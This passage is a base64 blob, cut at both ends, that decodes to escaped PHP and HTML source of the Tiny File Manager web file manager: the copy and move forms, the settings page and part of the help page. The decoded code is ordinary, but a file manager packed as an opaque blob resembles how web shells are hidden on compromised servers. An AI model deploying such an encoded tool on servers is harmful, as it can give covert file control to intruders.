nZXRVcGxvYWRFeHQoKSA/PlwiLFxuICAgICAgICAgICAgaW5pdDogZnVuY3Rpb24oKSB7XG4gICAgICAgICAgICAgICAgdGhpcy5vbihcInNlbmRpbmdcIiwgZnVuY3Rpb24oZmlsZSwgeGhyLCBmb3JtRGF0YSkge1xuICAgICAgICAgICAgICAgICAgICBsZXQgX3BhdGggPSAoZmlsZS5mdWxsUGF0aCkgPyBmaWxlLmZ1bGxQYXRoIDogZmlsZS5uYW1lO1xuICAgICAgICAgICAgICAgICAgICBkb2N1bWVudC5nZXRFbGVtZW50QnlJZChcImZ1bGxwYXRoXCIpLnZhbHVlID0gX3BhdGg7XG4gICAgICAgICAgICAgICAgICAgIHhoci5vbnRpbWVvdXQgPSAoZnVuY3Rpb24oKSB7XG4gICAgICAgICAgICAgICAgICAgICAgICB0b2FzdCgnRXJyb3I6IFNlcnZlciBUaW1lb3V0Jyk7XG4gICAgICAgICAgICAgICAgICAgIH0pO1xuICAgICAgICAgICAgICAgIH0pLm9uKFwic3VjY2Vzc1wiLCBmdW5jdGlvbihyZXMpIHtcbiAgICAgICAgICAgICAgICAgICAgdHJ5IHtcbiAgICAgICAgICAgICAgICAgICAgICAgIGxldCBfcmVzcG9uc2UgPSBKU09OLnBhcnNlKHJlcy54aHIucmVzcG9uc2UpO1xuXG4gICAgICAgICAgICAgICAgICAgICAgICBpZiAoX3Jlc3BvbnNlLnN0YXR1cyA9PSBcImVycm9yXCIpIHtcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICB0b2FzdChfcmVzcG9uc2UuaW5mbyk7XG4gICAgICAgICAgICAgICAgICAgICAgICB9XG4gICAgICAgICAgICAgICAgICAgIH0gY2F0Y2ggKGUpIHtcbiAgICAgICAgICAgICAgICAgICAgICAgIHRvYXN0KFwiRXJyb3I6IEludmFsaWQgSlNPTiByZXNwb25zZVwiKTtcbiAgICAgICAgICAgICAgICAgICAgfVxuICAgICAgICAgICAgICAgIH0pLm9uKFwiZXJyb3JcIiwgZnVuY3Rpb24oZmlsZSwgcmVzcG9uc2UpIHtcbiAgICAgICAgICAgICAgICAgICAgdG9hc3QocmVzcG9uc2UpO1xuICAgICAgICAgICAgICAgIH0pO1xuICAgICAgICAgICAgfVxuICAgICAgICB9XG4gICAgPFwvc2NyaXB0PlxuPD9waHBcbiAgICBmbV9zaG93X2Zvb3RlcigpO1xuICAgIGV4aXQ7XG59XG5cbmlmIChpc3NldCgkX1BPU1RbJ2NvcHknXSkgJiYgIUZNX1JFQURPTkxZKSB7XG4gICAgJGNvcHlfZmlsZXMgPSBpc3NldCgkX1BPU1RbJ2ZpbGUnXSkgPyAkX1BPU1RbJ2ZpbGUnXSA6IG51bGw7XG4gICAgaWYgKCFpc19hcnJheSgkY29weV9maWxlcykgfHwgZW1wdHkoJGNvcHlfZmlsZXMpKSB7XG4gICAgICAgIGZtX3NldF9tc2cobG5nKCdOb3RoaW5nIHNlbGVjdGVkJyksICdhbGVydCcpO1xuICAgICAgICAkRk1fUEFUSCA9IEZNX1BBVEg7XG4gICAgICAgIGZtX3JlZGlyZWN0KEZNX1NFTEZfVVJMIC4gJz9wPScgLiB1cmxlbmNvZGUoJEZNX1BBVEgpKTtcbiAgICB9XG5cbiAgICBmbV9zaG93X2hlYWRlcigpO1xuICAgIGZtX3Nob3dfbmF2X3BhdGgoRk1fUEFUSCk7XG4/PlxuICAgIDxkaXYgY2xhc3M9XCJwYXRoXCI+XG4gICAgICAgIDxkaXYgY2xhc3M9XCJjYXJkXCIgZGF0YS1icy10aGVtZT1cIjw/cGhwIGVjaG8gRk1fVEhFTUU7ID8+XCI+XG4gICAgICAgICAgICA8ZGl2IGNsYXNzPVwiY2FyZC1oZWFkZXJcIj5cbiAgICAgICAgICAgICAgICA8aDY+PD9waHAgZWNobyBsbmcoJ0NvcHlpbmcnKSA/PjxcL2g2PlxuICAgICAgICAgICAgPFwvZGl2PlxuICAgICAgICAgICAgPGRpdiBjbGFzcz1cImNhcmQtYm9keVwiPlxuICAgICAgICAgICAgICAgIDxmb3JtIGFjdGlvbj1cIlwiIG1ldGhvZD1cInBvc3RcIj5cbiAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwicFwiIHZhbHVlPVwiPD9waHAgZWNobyBmbV9lbmMoRk1fUEFUSCkgPz5cIj5cbiAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwiZmluaXNoXCIgdmFsdWU9XCIxXCI+XG4gICAgICAgICAgICAgICAgICAgIDw/cGhwXG4gICAgICAgICAgICAgICAgICAgIGZvcmVhY2ggKCRjb3B5X2ZpbGVzIGFzICRjZikge1xuICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAnPGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwiZmlsZVtdXCIgdmFsdWU9XCInIC4gZm1fZW5jKCRjZikgLiAnXCI+JyAuIFBIUF9FT0w7XG4gICAgICAgICAgICAgICAgICAgIH1cbiAgICAgICAgICAgICAgICAgICAgPz5cbiAgICAgICAgICAgICAgICAgICAgPHAgY2xhc3M9XCJicmVhay13b3JkXCI+PHN0cm9uZz48P3BocCBlY2hvIGxuZygnRmlsZXMnKSA/PjxcL3N0cm9uZz46IDxiPjw/cGhwIGVjaG8gaW1wbG9kZSgnPFwvYj4sIDxiPicsICRjb3B5X2ZpbGVzKSA/PjxcL2I+PFwvcD5cbiAgICAgICAgICAgICAgICAgICAgPHAgY2xhc3M9XCJicmVhay13b3JkXCI+PHN0cm9uZz48P3BocCBlY2hvIGxuZygnU291cmNlRm9sZGVyJykgPz48XC9zdHJvbmc+OiA8P3BocCBlY2hvIGZtX2VuYyhmbV9jb252ZXJ0X3dpbihGTV9ST09UX1BBVEggLiAnXC8nIC4gRk1fUEFUSCkpID8+PGJyPlxuICAgICAgICAgICAgICAgICAgICAgICAgPGxhYmVsIGZvcj1cImlucF9jb3B5X3RvXCI+PHN0cm9uZz48P3BocCBlY2hvIGxuZygnRGVzdGluYXRpb25Gb2xkZXInKSA/PjxcL3N0cm9uZz46PFwvbGFiZWw+XG4gICAgICAgICAgICAgICAgICAgICAgICA8P3BocCBlY2hvIEZNX1JPT1RfUEFUSCA/PlwvPGlucHV0IHR5cGU9XCJ0ZXh0XCIgbmFtZT1cImNvcHlfdG9cIiBpZD1cImlucF9jb3B5X3RvXCIgdmFsdWU9XCI8P3BocCBlY2hvIGZtX2VuYyhGTV9QQVRIKSA/PlwiPlxuICAgICAgICAgICAgICAgICAgICA8XC9wPlxuICAgICAgICAgICAgICAgICAgICA8cCBjbGFzcz1cImN1c3RvbS1jaGVja2JveCBjdXN0b20tY29udHJvbFwiPjxpbnB1dCB0eXBlPVwiY2hlY2tib3hcIiBuYW1lPVwibW92ZVwiIHZhbHVlPVwiMVwiIGlkPVwianMtbW92ZS1maWxlc1wiIGNsYXNzPVwiY3VzdG9tLWNvbnRyb2wtaW5wdXRcIj5cbiAgICAgICAgICAgICAgICAgICAgICAgIDxsYWJlbCBmb3I9XCJqcy1tb3ZlLWZpbGVzXCIgY2xhc3M9XCJjdXN0b20tY29udHJvbC1sYWJlbCBtcy0yXCI+PD9waHAgZWNobyBsbmcoJ01vdmUnKSA/PjxcL2xhYmVsPlxuICAgICAgICAgICAgICAgICAgICA8XC9wPlxuICAgICAgICAgICAgICAgICAgICA8cD5cbiAgICAgICAgICAgICAgICAgICAgICAgIDxiPjxhIGhyZWY9XCI/cD08P3BocCBlY2hvIHVybGVuY29kZShGTV9QQVRIKSA/PlwiIGNsYXNzPVwiYnRuIGJ0bi1vdXRsaW5lLWRhbmdlclwiPjxpIGNsYXNzPVwiZmEgZmEtdGltZXMtY2lyY2xlXCI+PFwvaT4gPD9waHAgZWNobyBsbmcoJ0NhbmNlbCcpID8+PFwvYT48XC9iPiZuYnNwO1xuICAgICAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwidG9rZW5cIiB2YWx1ZT1cIjw/cGhwIGVjaG8gJF9TRVNTSU9OWyd0b2tlbiddOyA/PlwiPlxuICAgICAgICAgICAgICAgICAgICAgICAgPGJ1dHRvbiB0eXBlPVwic3VibWl0XCIgY2xhc3M9XCJidG4gYnRuLXN1Y2Nlc3NcIj48aSBjbGFzcz1cImZhIGZhLWNoZWNrLWNpcmNsZVwiPjxcL2k+IDw/cGhwIGVjaG8gbG5nKCdDb3B5JykgPz48XC9idXR0b24+XG4gICAgICAgICAgICAgICAgICAgIDxcL3A+XG4gICAgICAgICAgICAgICAgPFwvZm9ybT5cbiAgICAgICAgICAgIDxcL2Rpdj5cbiAgICAgICAgPFwvZGl2PlxuICAgIDxcL2Rpdj5cbjw/cGhwXG4gICAgZm1fc2hvd19mb290ZXIoKTtcbiAgICBleGl0O1xufVxuXG5pZiAoaXNzZXQoJF9HRVRbJ2NvcHknXSkgJiYgIWlzc2V0KCRfR0VUWydmaW5pc2gnXSkgJiYgIUZNX1JFQURPTkxZKSB7XG4gICAgJGNvcHkgPSAkX0dFVFsnY29weSddO1xuICAgICRjb3B5ID0gZm1fY2xlYW5fcGF0aCgkY29weSk7XG4gICAgaWYgKCRjb3B5ID09ICcnIHx8ICFmaWxlX2V4aXN0cyhGTV9ST09UX1BBVEggLiAnXC8nIC4gJGNvcHkpKSB7XG4gICAgICAgIGZtX3NldF9tc2cobG5nKCdGaWxlIG5vdCBmb3VuZCcpLCAnZXJyb3InKTtcbiAgICAgICAgJEZNX1BBVEggPSBGTV9QQVRIO1xuICAgICAgICBmbV9yZWRpcmVjdChGTV9TRUxGX1VSTCAuICc/cD0nIC4gdXJsZW5jb2RlKCRGTV9QQVRIKSk7XG4gICAgfVxuXG4gICAgZm1fc2hvd19oZWFkZXIoKTtcbiAgICBmbV9zaG93X25hdl9wYXRoKEZNX1BBVEgpO1xuPz5cbiAgICA8ZGl2IGNsYXNzPVwicGF0aFwiPlxuICAgICAgICA8cD48Yj5Db3B5aW5nPFwvYj48XC9wPlxuICAgICAgICA8cCBjbGFzcz1cImJyZWFrLXdvcmRcIj5cbiAgICAgICAgICAgIDxzdHJvbmc+U291cmNlIHBhdGg6PFwvc3Ryb25nPiA8P3BocCBlY2hvIGZtX2VuYyhmbV9jb252ZXJ0X3dpbihGTV9ST09UX1BBVEggLiAnXC8nIC4gJGNvcHkpKSA/Pjxicj5cbiAgICAgICAgICAgIDxzdHJvbmc+RGVzdGluYXRpb24gZm9sZGVyOjxcL3N0cm9uZz4gPD9waHAgZWNobyBmbV9lbmMoZm1fY29udmVydF93aW4oRk1fUk9PVF9QQVRIIC4gJ1wvJyAuIEZNX1BBVEgpKSA/PlxuICAgICAgICA8XC9wPlxuICAgICAgICA8cD5cbiAgICAgICAgICAgIDxiPjxhIGhyZWY9XCI/cD08P3BocCBlY2hvIHVybGVuY29kZShGTV9QQVRIKSA/PiZhbXA7Y29weT08P3BocCBlY2hvIHVybGVuY29kZSgkY29weSkgPz4mYW1wO2ZpbmlzaD0xXCI+PGkgY2xhc3M9XCJmYSBmYS1jaGVjay1jaXJjbGVcIj48XC9pPiBDb3B5PFwvYT48XC9iPiAmbmJzcDtcbiAgICAgICAgICAgIDxiPjxhIGhyZWY9XCI/cD08P3BocCBlY2hvIHVybGVuY29kZShGTV9QQVRIKSA/PiZhbXA7Y29weT08P3BocCBlY2hvIHVybGVuY29kZSgkY29weSkgPz4mYW1wO2ZpbmlzaD0xJmFtcDttb3ZlPTFcIj48aSBjbGFzcz1cImZhIGZhLWNoZWNrLWNpcmNsZVwiPjxcL2k+IE1vdmU8XC9hPjxcL2I+ICZuYnNwO1xuICAgICAgICAgICAgPGI+PGEgaHJlZj1cIj9wPTw/cGhwIGVjaG8gdXJsZW5jb2RlKEZNX1BBVEgpID8+XCIgY2xhc3M9XCJ0ZXh0LWRhbmdlclwiPjxpIGNsYXNzPVwiZmEgZmEtdGltZXMtY2lyY2xlXCI+PFwvaT4gQ2FuY2VsPFwvYT48XC9iPlxuICAgICAgICA8XC9wPlxuICAgICAgICA8cD48aT48P3BocCBlY2hvIGxuZygnU2VsZWN0IGZvbGRlcicpID8+PFwvaT48XC9wPlxuICAgICAgICA8dWwgY2xhc3M9XCJmb2xkZXJzIGJyZWFrLXdvcmRcIj5cbiAgICAgICAgICAgIDw/cGhwXG4gICAgICAgICAgICBpZiAoJHBhcmVudCAhPT0gZmFsc2UpIHtcbiAgICAgICAgICAgID8+XG4gICAgICAgICAgICAgICAgPGxpPjxhIGhyZWY9XCI/cD08P3BocCBlY2hvIHVybGVuY29kZSgkcGFyZW50KSA/PiZhbXA7Y29weT08P3BocCBlY2hvIHVybGVuY29kZSgkY29weSkgPz5cIj48aSBjbGFzcz1cImZhIGZhLWNoZXZyb24tY2lyY2xlLWxlZnRcIj48XC9pPiAuLjxcL2E+PFwvbGk+XG4gICAgICAgICAgICA8P3BocFxuICAgICAgICAgICAgfVxuICAgICAgICAgICAgZm9yZWFjaCAoJGZvbGRlcnMgYXMgJGYpIHtcbiAgICAgICAgICAgID8+XG4gICAgICAgICAgICAgICAgPGxpPlxuICAgICAgICAgICAgICAgICAgICA8YSBocmVmPVwiP3A9PD9waHAgZWNobyB1cmxlbmNvZGUodHJpbShGTV9QQVRIIC4gJ1wvJyAuICRmLCAnXC8nKSkgPz4mYW1wO2NvcHk9PD9waHAgZWNobyB1cmxlbmNvZGUoJGNvcHkpID8+XCI+PGkgY2xhc3M9XCJmYSBmYS1mb2xkZXItb1wiPjxcL2k+IDw/cGhwIGVjaG8gZm1fY29udmVydF93aW4oJGYpID8+PFwvYT5cbiAgICAgICAgICAgICAgICA8XC9saT5cbiAgICAgICAgICAgIDw/cGhwXG4gICAgICAgICAgICB9XG4gICAgICAgICAgICA/PlxuICAgICAgICA8XC91bD5cbiAgICA8XC9kaXY+XG48P3BocFxuICAgIGZtX3Nob3dfZm9vdGVyKCk7XG4gICAgZXhpdDtcbn1cblxuaWYgKGlzc2V0KCRfR0VUWydzZXR0aW5ncyddKSAmJiAhRk1fUkVBRE9OTFkpIHtcbiAgICBmbV9zaG93X2hlYWRlcigpO1xuICAgIGZtX3Nob3dfbmF2X3BhdGgoRk1fUEFUSCk7XG4gICAgZ2xvYmFsICRjZmcsICRsYW5nLCAkbGFuZ19saXN0O1xuPz5cblxuICAgIDxkaXYgY2xhc3M9XCJjb2wtbWQtOCBvZmZzZXQtbWQtMiBwdC0zXCI+XG4gICAgICAgIDxkaXYgY2xhc3M9XCJjYXJkIG1iLTJcIiBkYXRhLWJzLXRoZW1lPVwiPD9waHAgZWNobyBGTV9USEVNRTsgPz5cIj5cbiAgICAgICAgICAgIDxoNiBjbGFzcz1cImNhcmQtaGVhZGVyIGQtZmxleCBqdXN0aWZ5LWNvbnRlbnQtYmV0d2VlblwiPlxuICAgICAgICAgICAgICAgIDxzcGFuPjxpIGNsYXNzPVwiZmEgZmEtY29nXCI+PFwvaT4gPD9waHAgZWNobyBsbmcoJ1NldHRpbmdzJykgPz48XC9zcGFuPlxuICAgICAgICAgICAgICAgIDxhIGhyZWY9XCI/cD08P3BocCBlY2hvIEZNX1BBVEggPz5cIiBjbGFzcz1cInRleHQtZGFuZ2VyXCI+PGkgY2xhc3M9XCJmYSBmYS10aW1lcy1jaXJjbGUtb1wiPjxcL2k+IDw/cGhwIGVjaG8gbG5nKCdDYW5jZWwnKSA/PjxcL2E+XG4gICAgICAgICAgICA8XC9oNj5cbiAgICAgICAgICAgIDxkaXYgY2xhc3M9XCJjYXJkLWJvZHlcIj5cbiAgICAgICAgICAgICAgICA8Zm9ybSBpZD1cImpzLXNldHRpbmdzLWZvcm1cIiBhY3Rpb249XCJcIiBtZXRob2Q9XCJwb3N0XCIgZGF0YS10eXBlPVwiYWpheFwiIG9uc3VibWl0PVwicmV0dXJuIHNhdmVfc2V0dGluZ3ModGhpcylcIj5cbiAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwidHlwZVwiIHZhbHVlPVwic2V0dGluZ3NcIiBhcmlhLWxhYmVsPVwiaGlkZGVuXCIgYXJpYS1oaWRkZW49XCJ0cnVlXCI+XG4gICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9XCJmb3JtLWdyb3VwIHJvd1wiPlxuICAgICAgICAgICAgICAgICAgICAgICAgPGxhYmVsIGZvcj1cImpzLWxhbmd1YWdlXCIgY2xhc3M9XCJjb2wtc20tMyBjb2wtZm9ybS1sYWJlbFwiPjw/cGhwIGVjaG8gbG5nKCdMYW5ndWFnZScpID8+PFwvbGFiZWw+XG4gICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPVwiY29sLXNtLTVcIj5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8c2VsZWN0IGNsYXNzPVwiZm9ybS1zZWxlY3RcIiBpZD1cImpzLWxhbmd1YWdlXCIgbmFtZT1cImpzLWxhbmd1YWdlXCI+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDw/cGhwXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGZ1bmN0aW9uIGdldFNlbGVjdGVkKCRsKVxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB7XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBnbG9iYWwgJGxhbmc7XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICByZXR1cm4gKCRsYW5nID09ICRsKSA/ICdzZWxlY3RlZCcgOiAnJztcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfVxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBmb3JlYWNoICgkbGFuZ19saXN0IGFzICRrID0+ICR2KSB7XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBlY2hvIFwiPG9wdGlvbiB2YWx1ZT0nJGsnIFwiIC4gZ2V0U2VsZWN0ZWQoJGspIC4gXCI+JHY8XC9vcHRpb24+XCI7XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH1cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPz5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8XC9zZWxlY3Q+XG4gICAgICAgICAgICAgICAgICAgICAgICA8XC9kaXY+XG4gICAgICAgICAgICAgICAgICAgIDxcL2Rpdj5cbiAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz1cIm10LTMgbWItMyByb3cgXCI+XG4gICAgICAgICAgICAgICAgICAgICAgICA8bGFiZWwgZm9yPVwianMtZXJyb3ItcmVwb3J0XCIgY2xhc3M9XCJjb2wtc20tMyBjb2wtZm9ybS1sYWJlbFwiPjw/cGhwIGVjaG8gbG5nKCdFcnJvclJlcG9ydGluZycpID8+PFwvbGFiZWw+XG4gICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPVwiY29sLXNtLTlcIj5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPVwiZm9ybS1jaGVjayBmb3JtLXN3aXRjaFwiPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8aW5wdXQgY2xhc3M9XCJmb3JtLWNoZWNrLWlucHV0XCIgdHlwZT1cImNoZWNrYm94XCIgcm9sZT1cInN3aXRjaFwiIGlkPVwianMtZXJyb3ItcmVwb3J0XCIgbmFtZT1cImpzLWVycm9yLXJlcG9ydFwiIHZhbHVlPVwidHJ1ZVwiIDw/cGhwIGVjaG8gJHJlcG9ydF9lcnJvcnMgPyAnY2hlY2tlZCcgOiAnJzsgPz4gXC8+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgPFwvZGl2PlxuICAgICAgICAgICAgICAgICAgICAgICAgPFwvZGl2PlxuICAgICAgICAgICAgICAgICAgICA8XC9kaXY+XG5cbiAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz1cIm1iLTMgcm93XCI+XG4gICAgICAgICAgICAgICAgICAgICAgICA8bGFiZWwgZm9yPVwianMtc2hvdy1oaWRkZW5cIiBjbGFzcz1cImNvbC1zbS0zIGNvbC1mb3JtLWxhYmVsXCI+PD9waHAgZWNobyBsbmcoJ1Nob3dIaWRkZW5GaWxlcycpID8+PFwvbGFiZWw+XG4gICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPVwiY29sLXNtLTlcIj5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPVwiZm9ybS1jaGVjayBmb3JtLXN3aXRjaFwiPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8aW5wdXQgY2xhc3M9XCJmb3JtLWNoZWNrLWlucHV0XCIgdHlwZT1cImNoZWNrYm94XCIgcm9sZT1cInN3aXRjaFwiIGlkPVwianMtc2hvdy1oaWRkZW5cIiBuYW1lPVwianMtc2hvdy1oaWRkZW5cIiB2YWx1ZT1cInRydWVcIiA8P3BocCBlY2hvICRzaG93X2hpZGRlbl9maWxlcyA/ICdjaGVja2VkJyA6ICcnOyA/PiBcLz5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8XC9kaXY+XG4gICAgICAgICAgICAgICAgICAgICAgICA8XC9kaXY+XG4gICAgICAgICAgICAgICAgICAgIDxcL2Rpdj5cblxuICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPVwibWItMyByb3dcIj5cbiAgICAgICAgICAgICAgICAgICAgICAgIDxsYWJlbCBmb3I9XCJqcy1oaWRlLWNvbHNcIiBjbGFzcz1cImNvbC1zbS0zIGNvbC1mb3JtLWxhYmVsXCI+PD9waHAgZWNobyBsbmcoJ0hpZGVDb2x1bW5zJykgPz48XC9sYWJlbD5cbiAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9XCJjb2wtc20tOVwiPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9XCJmb3JtLWNoZWNrIGZvcm0tc3dpdGNoXCI+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxpbnB1dCBjbGFzcz1cImZvcm0tY2hlY2staW5wdXRcIiB0eXBlPVwiY2hlY2tib3hcIiByb2xlPVwic3dpdGNoXCIgaWQ9XCJqcy1oaWRlLWNvbHNcIiBuYW1lPVwianMtaGlkZS1jb2xzXCIgdmFsdWU9XCJ0cnVlXCIgPD9waHAgZWNobyAkaGlkZV9Db2xzID8gJ2NoZWNrZWQnIDogJyc7ID8+IFwvPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxcL2Rpdj5cbiAgICAgICAgICAgICAgICAgICAgICAgIDxcL2Rpdj5cbiAgICAgICAgICAgICAgICAgICAgPFwvZGl2PlxuXG4gICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9XCJtYi0zIHJvd1wiPlxuICAgICAgICAgICAgICAgICAgICAgICAgPGxhYmVsIGZvcj1cImpzLTMtMVwiIGNsYXNzPVwiY29sLXNtLTMgY29sLWZvcm0tbGFiZWxcIj48P3BocCBlY2hvIGxuZygnVGhlbWUnKSA/PjxcL2xhYmVsPlxuICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz1cImNvbC1zbS01XCI+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgPHNlbGVjdCBjbGFzcz1cImZvcm0tc2VsZWN0IHctMTAwIHRleHQtY2FwaXRhbGl6ZVwiIGlkPVwianMtMy0wXCIgbmFtZT1cImpzLXRoZW1lLTNcIj5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPG9wdGlvbiB2YWx1ZT0nbGlnaHQnIDw/cGhwIGlmICgkdGhlbWUgPT0gXCJsaWdodFwiKSB7XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBlY2hvIFwic2VsZWN0ZWRcIjtcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfSA/Pj5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDw/cGhwIGVjaG8gbG5nKCdsaWdodCcpID8+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxcL29wdGlvbj5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPG9wdGlvbiB2YWx1ZT0nZGFyaycgPD9waHAgaWYgKCR0aGVtZSA9PSBcImRhcmtcIikge1xuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZWNobyBcInNlbGVjdGVkXCI7XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0gPz4+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8P3BocCBlY2hvIGxuZygnZGFyaycpID8+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxcL29wdGlvbj5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8XC9zZWxlY3Q+XG4gICAgICAgICAgICAgICAgICAgICAgICA8XC9kaXY+XG4gICAgICAgICAgICAgICAgICAgIDxcL2Rpdj5cblxuICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPVwibWItMyByb3dcIj5cbiAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9XCJjb2wtc20tMTBcIj5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8YnV0dG9uIHR5cGU9XCJzdWJtaXRcIiBjbGFzcz1cImJ0biBidG4tc3VjY2Vzc1wiPiA8aSBjbGFzcz1cImZhIGZhLWNoZWNrLWNpcmNsZVwiPjxcL2k+IDw/cGhwIGVjaG8gbG5nKCdTYXZlJyk7ID8+PFwvYnV0dG9uPlxuICAgICAgICAgICAgICAgICAgICAgICAgPFwvZGl2PlxuICAgICAgICAgICAgICAgICAgICA8XC9kaXY+XG5cbiAgICAgICAgICAgICAgICAgICAgPHNtYWxsIGNsYXNzPVwidGV4dC1ib2R5LXNlY29uZGFyeVwiPiogPD9waHAgZWNobyBsbmcoJ1NvbWV0aW1lcyB0aGUgc2F2ZSBhY3Rpb24gbWF5IG5vdCB3b3JrIG9uIHRoZSBmaXJzdCB0cnksIHNvIHBsZWFzZSBhdHRlbXB0IGl0IGFnYWluJykgPz4uPFwvc21hbGw+XG4gICAgICAgICAgICAgICAgPFwvZm9ybT5cbiAgICAgICAgICAgIDxcL2Rpdj5cbiAgICAgICAgPFwvZGl2PlxuICAgIDxcL2Rpdj5cbjw/cGhwXG4gICAgZm1fc2hvd19mb290ZXIoKTtcbiAgICBleGl0O1xufVxuXG5pZiAoaXNzZXQoJF9HRVRbJ2hlbHAnXSkpIHtcbiAgICBmbV9zaG93X2hlYWRlcigpO1xuICAgIGZtX3Nob3dfbmF2X3BhdGgoRk1fUEFUSCk7XG4gICAgZ2xvYmFsICRjZmcsICRsYW5nO1xuPz5cblxuICAgIDxkaXYgY2xhc3M9XCJjb2wtbWQtOCBvZmZzZXQtbWQtMiBwdC0zXCI+XG4gICAgICAgIDxkaXYgY2xhc3M9XCJjYXJkIG1iLTJcIiBkYXRhLWJzLXRoZW1lPVwiPD9waHAgZWNobyBGTV9USEVNRTsgPz5cIj5cbiAgICAgICAgICAgIDxoNiBjbGFzcz1cImNhcmQtaGVhZGVyIGQtZmxleCBqdXN0aWZ5LWNvbnRlbnQtYmV0d2VlblwiPlxuICAgICAgICAgICAgICAgIDxzcGFuPjxpIGNsYXNzPVwiZmEgZmEtZXhjbGFtYXRpb24tY2lyY2xlXCI+PFwvaT4gPD9waHAgZWNobyBsbmcoJ0hlbHAnKSA/PjxcL3NwYW4+XG4gICAgICAgICAgICAgICAgPGEgaHJlZj1cIj9wPTw/cGhwIGVjaG8gRk1fUEFUSCA/PlwiIGNsYXNzPVwidGV4dC1kYW5nZXJcIj48aSBjbGFzcz1cImZhIGZhLXRpbWVzLWNpcmNsZS1vXCI+PFwvaT4gPD9waHAgZWNobyBsbmcoJ0NhbmNlbCcpID8+PFwvYT5cbiAgICAgICAgICAgIDxcL2g2PlxuICAgICAgICAgICAgPGRpdiBjbGFzcz1cImNhcmQtYm9keVwiPlxuICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9XCJyb3dcIj5cbiAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz1cImNvbC14cy0xMiBjb2wtc20tNlwiPlxuICAgICAgICAgICAgICAgICAgICAgICAgPHA+XG4gICAgICAgICAgICAgICAgICAgICAgICA8aDM+PGEgaHJlZj1cImh0dHBzOlwvXC9naXRodWIuY29tXC9wcmFzYXRobWFuaVwvdGlueWZpbGVtYW5hZ2VyXCIgdGFyZ2V0PVwiX2JsYW5rXCIgY2xhc3M9XCJhcHAtdi10aXRsZVwiPiBUaW55IEZpbGUgTWFuYWdlciA8P3BocCBlY2hvIFZFUlNJT047ID8+PFwvYT48XC9oMz5cbiAgICAgICAgICAgICAgICAgICAgICAgIDxcL3A+XG4gICAgICAgICAgICAgICAgICAgICAgICA8cD5BdXRob3I6IFBSQVx1MDE1YUFUSCBNQU5cdTAxMzA8XC9wPlxuICAgICAgICAgICAgICAgICAgICAgICAgPHA+TWFpbCBVczogPGEgaHJlZj1cIm1haWx0bzpjY3Bwcm9ncmFtbWVyc0BnbWFpbC5jb21cIj5jY3Bwcm9ncmFtbWVycyBbYXRdIGdtYWlsIFtkb3RdIGNvbTxcL2E+IDxcL3A+XG4gICAgICAgICAgICAgICAgICAgIDxcL2Rpdj5cbiAgICAgICAgICAgICAgICAgICA